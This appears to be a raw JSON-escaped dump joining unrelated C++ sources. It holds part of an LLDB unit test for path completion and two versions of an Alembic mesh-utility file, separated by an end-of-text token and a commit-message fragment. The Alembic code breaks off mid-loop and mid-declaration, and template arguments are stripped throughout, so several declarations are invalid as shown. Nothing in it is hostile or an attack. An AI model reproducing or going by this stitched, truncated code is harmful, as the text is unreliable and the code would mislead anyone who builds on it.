C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Interpreter\/CommandCompletions.h\"\n#include \"lldb\/Utility\/StringList.h\"\n#include \"lldb\/Utility\/TildeExpressionResolver.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"TestingSupport\/MockTildeExpressionResolver.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace fs = llvm::sys::fs;\nnamespace path = llvm::sys::path;\nusing namespace llvm;\nusing namespace lldb_private;\n\n#define ASSERT_NO_ERROR(x) \\\n if (std::error_code ASSERT_NO_ERROR_ec = x) { \\\n SmallString<128> MessageStorage; \\\n raw_svector_ostream Message(MessageStorage); \\\n Message << #x \": did not return errc::success.\\n\" \\\n << \"error number: \" << ASSERT_NO_ERROR_ec.value() << \"\\n\" \\\n << \"error message: \" << ASSERT_NO_ERROR_ec.message() << \"\\n\"; \\\n GTEST_FATAL_FAILURE_(MessageStorage.c_str()); \\\n } else { \\\n }\n\nnamespace {\n\nclass CompletionTest : public testing::Test {\nprotected:\n \/\/\/ Unique temporary directory in which all created filesystem entities must\n \/\/\/ be placed. It is removed at the end of the test suite.\n SmallString<128> BaseDir;\n\n \/\/\/ The working directory that we got when starting the test. Every test\n \/\/\/ should chdir into this directory first because some tests maybe chdir\n \/\/\/ into another one during their run.\n static SmallString<128> OriginalWorkingDir;\n\n SmallString<128> DirFoo;\n SmallString<128> DirFooA;\n SmallString<128> DirFooB;\n SmallString<128> DirFooC;\n SmallString<128> DirBar;\n SmallString<128> DirBaz;\n SmallString<128> DirTestFolder;\n SmallString<128> DirNested;\n\n SmallString<128> FileAA;\n SmallString<128> FileAB;\n SmallString<128> FileAC;\n SmallString<128> FileFoo;\n SmallString<128> FileBar;\n SmallString<128> FileBaz;\n\n void SetUp() override {\n \/\/ chdir back into the original working dir this test binary started with.\n \/\/ A previous test may have have changed the working dir.\n ASSERT_NO_ERROR(fs::set_current_path(OriginalWorkingDir));\n\n \/\/ Get the name of the current test. To prevent that by chance two tests\n \/\/ get the same temporary directory if createUniqueDirectory fails.\n auto test_info = ::testing::UnitTest::GetInstance()->current_test_info();\n ASSERT_TRUE(test_info != nullptr);\n std::string name = test_info->name();\n ASSERT_NO_ERROR(fs::createUniqueDirectory(\"FsCompletion-\" + name, BaseDir));\n\n const char *DirNames[] = {\"foo\", \"fooa\", \"foob\", \"fooc\",\n \"bar\", \"baz\", \"test_folder\", \"foo\/nested\"};\n const char *FileNames[] = {\"aa1234.tmp\", \"ab1234.tmp\", \"ac1234.tmp\",\n \"foo1234.tmp\", \"bar1234.tmp\", \"baz1234.tmp\"};\n SmallString<128> *Dirs[] = {&DirFoo, &DirFooA, &DirFooB, &DirFooC,\n &DirBar, &DirBaz, &DirTestFolder, &DirNested};\n for (auto Dir : llvm::zip(DirNames, Dirs)) {\n auto &Path = *std::get<1>(Dir);\n Path = BaseDir;\n path::append(Path, std::get<0>(Dir));\n ASSERT_NO_ERROR(fs::create_directories(Path));\n }\n\n SmallString<128> *Files[] = {&FileAA, &FileAB, &FileAC,\n &FileFoo, &FileBar, &FileBaz};\n for (auto File : llvm::zip(FileNames, Files)) {\n auto &Path = *std::get<1>(File);\n Path = BaseDir;\n path::append(Path, std::get<0>(File));\n int FD;\n ASSERT_NO_ERROR(fs::createUniqueFile(Path, FD, Path));\n ::close(FD);\n }\n }\n\n static void SetUpTestCase() {\n ASSERT_NO_ERROR(fs::current_path(OriginalWorkingDir));\n }\n\n void TearDown() override { ASSERT_NO_ERROR(fs::remove_directories(BaseDir)); }\n\n static bool HasEquivalentFile(const Twine &Path, const StringList &Paths) {\n for (size_t I = 0; I < Paths.GetSize(); ++I) {\n if (fs::equivalent(Path, Paths[I]))\n return true;\n }\n return false;\n }\n\n void DoDirCompletions(const Twine &Prefix,\n StandardTildeExpressionResolver &Resolver,\n StringList &Results) {\n \/\/ When a partial name matches, it returns all matches. If it matches both\n \/\/ a full name AND some partial names, it returns all of them.\n uint32_t Count =\n CommandCompletions::DiskDirectories(Prefix + \"foo\", Results, Resolver);\n ASSERT_EQ(4u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n\n \/\/ If it matches only partial names, it still works as expected.\n Count = CommandCompletions::DiskDirectories(Twine(Prefix) + \"b\", Results,\n Resolver);\n ASSERT_EQ(2u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n }\n};\n\nSmallString<128> CompletionTest::OriginalWorkingDir;\n}\n\nstatic std::vector toVector(const StringList &SL) {\n std::vector Result;\n for (size_t Idx = 0; Idx < SL.GetSize(); ++Idx)\n Result.push_back(SL[Idx]);\n return Result;\n}\nusing testing::UnorderedElementsAre;\n\nTEST_F(CompletionTest, DirCompletionAbsolute) {\n \/\/ All calls to DiskDirectories() return only directories, even when\n \/\/ there are files which also match. The tests below all check this\n \/\/ by asserting an exact result count, and verifying against known\n \/\/ folders.\n\n std::string Prefixes[] = {(Twine(BaseDir) + \"\/\").str(), \"\"};\n\n StandardTildeExpressionResolver Resolver;\n StringList Results;\n\n \/\/ When a directory is specified that doesn't end in a slash, it searches\n \/\/ for that directory, not items under it.\n \/\/ Sanity check that the path we complete on exists and isn't too long.\n ASSERT_TRUE(llvm::sys::fs::exists(BaseDir));\n ASSERT_LE(BaseDir.size(), static_cast(PATH_MAX));\n size_t Count =\n CommandCompletions::DiskDirectories(BaseDir, Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(BaseDir, Results));\n\n \/\/ When the same directory ends with a slash, it finds all children.\n Count = CommandCompletions::DiskDirectories(Prefixes[0], Results, Resolver);\n ASSERT_EQ(7u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n EXPECT_TRUE(HasEquivalentFile(DirTestFolder, Results));\n\n DoDirCompletions(Twine(BaseDir) + \"\/\", Resolver, Results);\n llvm::sys::fs::set_current_path(BaseDir);\n DoDirCompletions(\"\", Resolver, Results);\n}\n\nTEST_F(CompletionTest, FileCompletionAbsolute) {\n \/\/ All calls to DiskFiles() return both files and directories The tests below\n \/\/ all check this by asserting an exact result count, and verifying against\n \/\/ known folders.\n\n StandardTildeExpressionResolver Resolver;\n StringList Results;\n \/\/ When an item is specified that doesn't end in a slash but exactly matches\n \/\/ one item, it returns that item.\n size_t Count = CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/fooa\",\n Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n\n \/\/ The previous check verified a directory match. But it should work for\n \/\/ files too.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/aa\", Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(FileAA, Results));\n\n \/\/ When it ends with a slash, it should find all files and directories.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/\", Results, Resolver);\n ASSERT_EQ(13u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n EXPECT_TRUE(HasEquivalentFile(DirTestFolder, Results));\n\n EXPECT_TRUE(HasEquivalentFile(FileAA, Results));\n EXPECT_TRUE(HasEquivalentFile(FileAB, Results));\n EXPECT_TRUE(HasEquivalentFile(FileAC, Results));\n EXPECT_TRUE(HasEquivalentFile(FileFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(FileBar, Results));\n EXPECT_TRUE(HasEquivalentFile(FileBaz, Results));\n\n \/\/ When a partial name matches, it returns all file & directory matches.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/foo\", Results, Resolver);\n ASSERT_EQ(5u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(FileFoo, Results));\n}\n\nTEST_F(CompletionTest, DirCompletionUsername) {\n MockTildeExpressionResolver Resolver(\"James\", BaseDir);\n Resolver.AddKnownUser(\"Kirk\", DirFooB);\n Resolver.AddKnownUser(\"Lars\", DirFooC);\n Resolver.AddKnownUser(\"Jason\", DirFoo);\n Resolver.AddKnownUser(\"Larry\", DirFooA);\n std::string sep = path::get_separator();\n\n \/\/ Just resolving current user's home directory by itself should return the\n \/\/ directory.\n StringList Results;\n size_t Count = CommandCompletions::DiskDirectories(\"~\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\" + sep));\n\n \/\/ With a slash appended, it should return all items in the directory.\n Count = CommandCompletions::DiskDirectories(\"~\/\", Results, Resolver);\n EXPECT_THAT(toVector(Results),\n UnorderedElementsAre(\n \"~\/foo\" + sep, \"~\/fooa\" + sep, \"~\/foob\" + sep, \"~\/fooc\" + sep,\n \"~\/bar\" + sep, \"~\/baz\" + sep, \"~\/test_folder\" + sep));\n EXPECT_EQ(Count, Results.GetSize());\n\n \/\/ Check that we can complete directories in nested paths\n Count = CommandCompletions::DiskDirectories(\"~\/foo\/\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\/foo\/nested\" + sep));\n\n Count = CommandCompletions::DiskDirectories(\"~\/foo\/nes\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\/foo\/nested\" + sep));\n\n \/\/ With ~username syntax it should return one match if there is an exact\n \/\/ match. It shouldn't translate to the actual directory, it should keep the\n \/\/ form the user typed.\n Count = CommandCompletions::DiskDirectories(\"~Lars\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~Lars\" + sep));\n\n \/\/ But with a username that is not found, no results are returned.\n Count = CommandCompletions::DiskDirectories(\"~Dave\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre());\n\n \/\/ And if there are multiple matches, it should return all of them.\n Count = CommandCompletions::DiskDirectories(\"~La\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results),\n UnorderedElementsAre(\"~Lars\" + sep, \"~Larry\" + sep));\n}\n<|endoftext|>"} {"text":"#include \"CommonFoundation.h\"\n#include \"CommonMeshUtilities.h\"\n#include \"CommonLog.h\"\n#include \"CommonProfiler.h\"\n\nbool isAlembicMeshValid( Alembic::AbcGeom::IObject *pIObj ) {\n\t\/\/ESS_PROFILE_FUNC();\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tif(!objMesh.valid() && !objSubD.valid()) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nbool isAlembicMeshNormals( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\t\/\/ESS_PROFILE_FUNC();\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n if( objMesh.getSchema().getNormalsParam().valid() ) {\n\t\t\tisConstant = objMesh.getSchema().getNormalsParam().isConstant();\n\t\t\treturn true;\n\t\t}\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tisConstant = true;\n\treturn false;\n}\n\n\nbool isAlembicMeshPositions( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshPositions\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tisConstant = objMesh.getSchema().getPositionsProperty().isConstant();\n\t\treturn true;\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tisConstant = objSubD.getSchema().getPositionsProperty().isConstant();\n\t\treturn true;\n\t}\n\tisConstant = true;\n\treturn false;\n}\n\nbool isAlembicMeshUVWs( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshUVWs\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objMesh.getSchema().getUVsParam().valid() ) {\n\t\t\tisConstant = objMesh.getSchema().getUVsParam().isConstant();\n\t\t\treturn true;\n\t\t}\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objSubD.getSchema().getUVsParam().valid() ) {\n\t\t\tisConstant = objSubD.getSchema().getUVsParam().isConstant();\n\t\t\treturn true;\n\t\t}\n\t}\n\tisConstant = true;\n\n\treturn false;\n}\n\nbool isAlembicMeshTopoDynamic( Alembic::AbcGeom::IObject *pIObj ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshTopoDynamic\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tAlembic::AbcGeom::IPolyMeshSchema::Sample polyMeshSample;\n\tAlembic::AbcGeom::ISubDSchema::Sample subDSample;\n\n\tbool hasDynamicTopo = false;\n\tif(objMesh.valid())\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objMesh.getSchema(),\".faceCounts\");\n\t\tif(faceCountProp.valid()) {\n\t\t\thasDynamicTopo = !faceCountProp.isConstant();\n\t\t}\n\t}\n\telse\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objSubD.getSchema(),\".faceCounts\");\n\t\tif(faceCountProp.valid()) {\n\t\t\thasDynamicTopo = !faceCountProp.isConstant();\n\t\t}\n\t} \n\treturn hasDynamicTopo;\n}\n\nbool isAlembicMeshPointCache( Alembic::AbcGeom::IObject *pIObj ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshPointCache\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tAlembic::AbcGeom::IPolyMeshSchema::Sample polyMeshSample;\n\tAlembic::AbcGeom::ISubDSchema::Sample subDSample;\n\n\tbool isPointCache = false;\n\tif(objMesh.valid())\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objMesh.getSchema(),\".faceCounts\");\n\t\tif( ! faceCountProp.valid() ) {\n\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objMesh.getSchema(),\".P\");\n\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\tisPointCache = true;\n\t\t\t}\n\t\t}\n\t\telse if( faceCountProp.isConstant() ) {\n\t\t\tAlembic::Abc::Int32ArraySamplePtr faceCounts = faceCountProp.getValue();\n\t\t\t\/\/ the first is our preferred method, the second check here is Helge's method that is now considered obsolete\n\t\t\tif( faceCounts->size() == 0 || ( faceCounts->size() == 1 && ( faceCounts->get()[0] == 0 ) ) ) {\n\t\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objMesh.getSchema(),\".P\");\n\t\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\t\tisPointCache = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objSubD.getSchema(),\".faceCounts\");\t\t\n\t\tif( ! faceCountProp.valid() ) {\n\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objMesh.getSchema(),\".P\");\n\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\tisPointCache = true;\n\t\t\t}\n\t\t}\n\t\telse if( faceCountProp.isConstant() ) {\n\t\t\tAlembic::Abc::Int32ArraySamplePtr faceCounts = faceCountProp.getValue();\n\t\t\t\/\/ the first is our preferred method, the second check here is Helge's method that is now considered obsolete\n\t\t\tif( faceCounts->size() == 0 || ( faceCounts->size() == 1 && ( faceCounts->get()[0] == 0 ) ) ) {\n\t\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objSubD.getSchema(),\".P\");\n\t\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\t\tisPointCache = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} \n\treturn isPointCache;\n}\n\nstruct edge\n{\n\tint a;\n\tint b;\n\n\tbool operator<( const edge& rEdge ) const\n\t{\n\t\tif(a < rEdge.a) return true;\n\t\tif(a > rEdge.a) return false;\n\t\tif(b < rEdge.b) return true;\n\t\treturn false;\n\t}\n};\n\nstruct edgeData\n{\n\tbool bReversed;\n\tint count;\n\tint face;\n\n\tedgeData():bReversed(false), count(1), face(-1)\n\t{}\n\n\n};\n\n\nint validateAlembicMeshTopo(std::vector faceCounts,\n\t\t\t\t\t\t\tstd::vector faceIndices,\n\t\t\t\t\t\t\tconst std::string& meshName)\n{\n\n\n\tstd::map edgeToCountMap;\n\ttypedef std::map::iterator iterator;\n\n\tint meshErrors = 0;\t\n\n\tint faceOffset = 0;\n\tfor(int i=0; i occurences;\n\t\toccurences.reserve(count);\n\n\t\tAlembic::AbcCoreAbstract::ALEMBIC_VERSION_NS::int32_t* v = &faceIndices[faceOffset];\n\t\tfor(int j=0; jfixed #23#include \"CommonFoundation.h\"\n#include \"CommonMeshUtilities.h\"\n#include \"CommonLog.h\"\n#include \"CommonProfiler.h\"\n\nbool isAlembicMeshValid( Alembic::AbcGeom::IObject *pIObj ) {\n\t\/\/ESS_PROFILE_FUNC();\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tif(!objMesh.valid() && !objSubD.valid()) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nbool isAlembicMeshNormals( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\t\/\/ESS_PROFILE_FUNC();\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n \t\tif( objMesh.valid() ) {\n\t\t\tif( objMesh.getSchema().getNormalsParam().valid() ) {\n\t\t\t\tisConstant = objMesh.getSchema().getNormalsParam().isConstant();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\n\n\tisConstant = true;\n\treturn false;\n}\n\n\nbool isAlembicMeshPositions( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshPositions\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objMesh.valid() ) {\n\t\t\tisConstant = objMesh.getSchema().getPositionsProperty().isConstant();\n\t\t\treturn true;\n\t\t}\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objSubD.valid() ) {\n\t\t\tisConstant = objSubD.getSchema().getPositionsProperty().isConstant();\n\t\t\treturn true;\n\t\t}\n\t}\n\tisConstant = true;\n\treturn false;\n}\n\nbool isAlembicMeshUVWs( Alembic::AbcGeom::IObject *pIObj, bool& isConstant ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshUVWs\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objMesh.valid() ) {\n\t\t\tif( objMesh.getSchema().getUVsParam().valid() ) {\n\t\t\t\tisConstant = objMesh.getSchema().getUVsParam().isConstant();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t\tif( objSubD.valid() ) {\n\t\t\tif( objSubD.getSchema().getUVsParam().valid() ) {\n\t\t\t\tisConstant = objSubD.getSchema().getUVsParam().isConstant();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\tisConstant = true;\n\n\treturn false;\n}\n\nbool isAlembicMeshTopoDynamic( Alembic::AbcGeom::IObject *pIObj ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshTopoDynamic\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tAlembic::AbcGeom::IPolyMeshSchema::Sample polyMeshSample;\n\tAlembic::AbcGeom::ISubDSchema::Sample subDSample;\n\n\tbool hasDynamicTopo = false;\n\tif(objMesh.valid())\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objMesh.getSchema(),\".faceCounts\");\n\t\tif(faceCountProp.valid()) {\n\t\t\thasDynamicTopo = !faceCountProp.isConstant();\n\t\t}\n\t}\n\telse if( subDSample.valid() )\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objSubD.getSchema(),\".faceCounts\");\n\t\tif(faceCountProp.valid()) {\n\t\t\thasDynamicTopo = !faceCountProp.isConstant();\n\t\t}\n\t} \n\treturn hasDynamicTopo;\n}\n\nbool isAlembicMeshPointCache( Alembic::AbcGeom::IObject *pIObj ) {\n\tESS_PROFILE_SCOPE(\"isAlembicMeshPointCache\");\n\tAlembic::AbcGeom::IPolyMesh objMesh;\n\tAlembic::AbcGeom::ISubD objSubD;\n\n\tif(Alembic::AbcGeom::IPolyMesh::matches((*pIObj).getMetaData())) {\n\t\tobjMesh = Alembic::AbcGeom::IPolyMesh(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\telse {\n\t\tobjSubD = Alembic::AbcGeom::ISubD(*pIObj,Alembic::Abc::kWrapExisting);\n\t}\n\n\tbool isPointCache = false;\n\tif(objMesh.valid())\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objMesh.getSchema(),\".faceCounts\");\n\t\tif( ! faceCountProp.valid() ) {\n\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objMesh.getSchema(),\"P\");\n\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\tisPointCache = true;\n\t\t\t}\n\t\t}\n\t\telse if( faceCountProp.isConstant() ) {\n\t\t\tAlembic::Abc::Int32ArraySamplePtr faceCounts = faceCountProp.getValue();\n\t\t\t\/\/ the first is our preferred method, the second check here is Helge's method that is now considered obsolete\n\t\t\tif( faceCounts->size() == 0 || ( faceCounts->size() == 1 && ( faceCounts->get()[0] == 0 ) ) ) {\n\t\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objMesh.getSchema(),\"P\");\n\t\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\t\tisPointCache = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse if( objSubD.valid() )\n\t{\n\t\tAlembic::Abc::IInt32ArrayProperty faceCountProp = Alembic::Abc::IInt32ArrayProperty(objSubD.getSchema(),\".faceCounts\");\t\t\n\t\tif( ! faceCountProp.valid() ) {\n\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objSubD.getSchema(),\"P\");\n\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\tisPointCache = true;\n\t\t\t}\n\t\t}\n\t\telse if( faceCountProp.isConstant() ) {\n\t\t\tAlembic::Abc::Int32ArraySamplePtr faceCounts = faceCountProp.getValue();\n\t\t\t\/\/ the first is our preferred method, the second check here is Helge's method that is now considered obsolete\n\t\t\tif( faceCounts->size() == 0 || ( faceCounts->size() == 1 && ( faceCounts->get()[0] == 0 ) ) ) {\n\t\t\t\tAlembic::Abc::IP3fArrayProperty positionsProp = Alembic::Abc::IP3fArrayProperty(objSubD.getSchema(),\"P\");\n\t\t\t\tif( positionsProp.valid() && positionsProp.getValue()->size() > 0 ) {\n\t\t\t\t\tisPointCache = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} \n\treturn isPointCache;\n}\n\nstruct edge\n{\n\tint a;\n\tint b;\n\n\tbool operator<( const edge& rEdge ) const\n\t{\n\t\tif(a < rEdge.a) return true;\n\t\tif(a > rEdge.a) return false;\n\t\tif(b < rEdge.b) return true;\n\t\treturn false;\n\t}\n};\n\nstruct edgeData\n{\n\tbool bReversed;\n\tint count;\n\tint face;\n\n\tedgeData():bReversed(false), count(1), face(-1)\n\t{}\n\n\n};\n\n\nint validateAlembicMeshTopo(std::vector faceCounts,\n\t\t\t\t\t\t\tstd::vector faceIndices,\n\t\t\t\t\t\t\tconst std::string& meshName)\n{\n\n\n\tstd::map 